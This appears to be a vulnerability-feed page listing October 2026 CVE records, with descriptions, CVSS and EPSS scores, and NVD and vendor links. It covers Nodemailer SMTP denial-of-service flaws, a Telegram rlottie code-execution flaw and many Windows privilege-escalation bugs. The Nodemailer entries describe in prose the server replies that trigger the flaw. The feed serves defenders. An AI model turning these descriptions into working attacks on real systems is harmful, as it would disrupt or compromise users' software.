Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110869).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110869&date=2026-10-25).
Sources:
NVD CVE-2026-110869: https://nvd.nist.gov/vuln/detail/CVE-2026-110869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110869&date=2026-10-25
Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and...
https://kevwire.com/record/CVE-2026-110872
Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and... (Oct 14, 2026).
Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and isPartialResponse. A malicious SMTP server or on-path attacker can stream continuation lines without a completion line before authentication, blocking the Node.js event loop and exhausting memory.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110872).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110872&date=2026-10-25).
Sources:
NVD CVE-2026-110872: https://nvd.nist.gov/vuln/detail/CVE-2026-110872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110872&date=2026-10-25
Nodemailer from 3.0.0 before 10.0.10 contains a quadratic complexity denial of service vulnerability in the SMTP client reply parser in SMTPConnection._onData and isPartialResponse. A malicious SMTP server or on-path attacker can stream continuation lines without a completion line before authentication, blocking the Node.js event loop and exhausting memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-111105
Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. (Oct 15, 2026).
Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Telegram. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the rlottie library. The issue results from the lack of proper validation of user-supplied data, which can result in a write before the start of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-30207.
CVSS 7.0 (version 3.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111105).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111105&date=2026-10-25).
Sources:
NVD CVE-2026-111105: https://nvd.nist.gov/vuln/detail/CVE-2026-111105
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111105&date=2026-10-25
Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Telegram. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the rlottie library. The issue results from the lack of proper validation of user-supplied data, which can result in a write before the start of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-30207.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69918
Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69918).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69918&date=2026-10-25).
Sources:
NVD CVE-2026-69918: https://nvd.nist.gov/vuln/detail/CVE-2026-69918
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69918&date=2026-10-25
Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69916
Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69916).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69916&date=2026-10-25).
Sources:
NVD CVE-2026-69916: https://nvd.nist.gov/vuln/detail/CVE-2026-69916
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69916&date=2026-10-25
Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69915
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69915).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69915&date=2026-10-25).
Sources:
NVD CVE-2026-69915: https://nvd.nist.gov/vuln/detail/CVE-2026-69915
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69915&date=2026-10-25
Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85795
Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85795).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85795&date=2026-10-25).
Sources:
NVD CVE-2026-85795: https://nvd.nist.gov/vuln/detail/CVE-2026-85795
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85795
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85795&date=2026-10-25
Use after free in Windows Text Services Framework allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69913
Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69913).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69913&date=2026-10-25).
Sources:
NVD CVE-2026-69913: https://nvd.nist.gov/vuln/detail/CVE-2026-69913
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69913
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69913&date=2026-10-25
Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85796
Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85796).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85796&date=2026-10-25).
Sources:
NVD CVE-2026-85796: https://nvd.nist.gov/vuln/detail/CVE-2026-85796
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85796
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85796&date=2026-10-25
Numeric truncation error in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85797
Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.
CVSS 6.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85797).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85797&date=2026-10-25).
Sources:
NVD CVE-2026-85797: https://nvd.nist.gov/vuln/detail/CVE-2026-85797
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85797
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85797&date=2026-10-25
Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85332
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85332).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85332&date=2026-10-25).
Sources:
NVD CVE-2026-85332: https://nvd.nist.gov/vuln/detail/CVE-2026-85332
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85332
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85332&date=2026-10-25
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69909
Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69909).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69909&date=2026-10-25).
Sources:
NVD CVE-2026-69909: https://nvd.nist.gov/vuln/detail/CVE-2026-69909
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69909&date=2026-10-25
Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85798
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85798).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85798&date=2026-10-25).
Sources:
NVD CVE-2026-85798: https://nvd.nist.gov/vuln/detail/CVE-2026-85798
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85798&date=2026-10-25
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85329
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85329).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85329&date=2026-10-25).
Sources:
NVD CVE-2026-85329: https://nvd.nist.gov/vuln/detail/CVE-2026-85329
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85329
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85329&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85328
Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85328).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85328&date=2026-10-25).
Sources:
NVD CVE-2026-85328: https://nvd.nist.gov/vuln/detail/CVE-2026-85328
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85328&date=2026-10-25
Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85799
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85799).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85799&date=2026-10-25).
Sources:
NVD CVE-2026-85799: https://nvd.nist.gov/vuln/detail/CVE-2026-85799
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85799
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85799&date=2026-10-25
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85800
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85800).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85800&date=2026-10-25).
Sources:
NVD CVE-2026-85800: https://nvd.nist.gov/vuln/detail/CVE-2026-85800
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85800&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85914
Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85914).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85914&date=2026-10-25).
Sources:
NVD CVE-2026-85914: https://nvd.nist.gov/vuln/detail/CVE-2026-85914
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85914
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85914&date=2026-10-25
Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85915
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85915).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85915&date=2026-10-25).
Sources:
NVD CVE-2026-85915: https://nvd.nist.gov/vuln/detail/CVE-2026-85915
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85915&date=2026-10-25
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69898
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69898).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69898&date=2026-10-25).
Sources:
NVD CVE-2026-69898: https://nvd.nist.gov/vuln/detail/CVE-2026-69898
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69898
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69898&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85918
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85918).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85918&date=2026-10-25).
Sources:
NVD CVE-2026-85918: https://nvd.nist.gov/vuln/detail/CVE-2026-85918
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85918&date=2026-10-25
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85920
Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85920).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85920&date=2026-10-25).
Sources:
NVD CVE-2026-85920: https://nvd.nist.gov/vuln/detail/CVE-2026-85920
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85920&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.

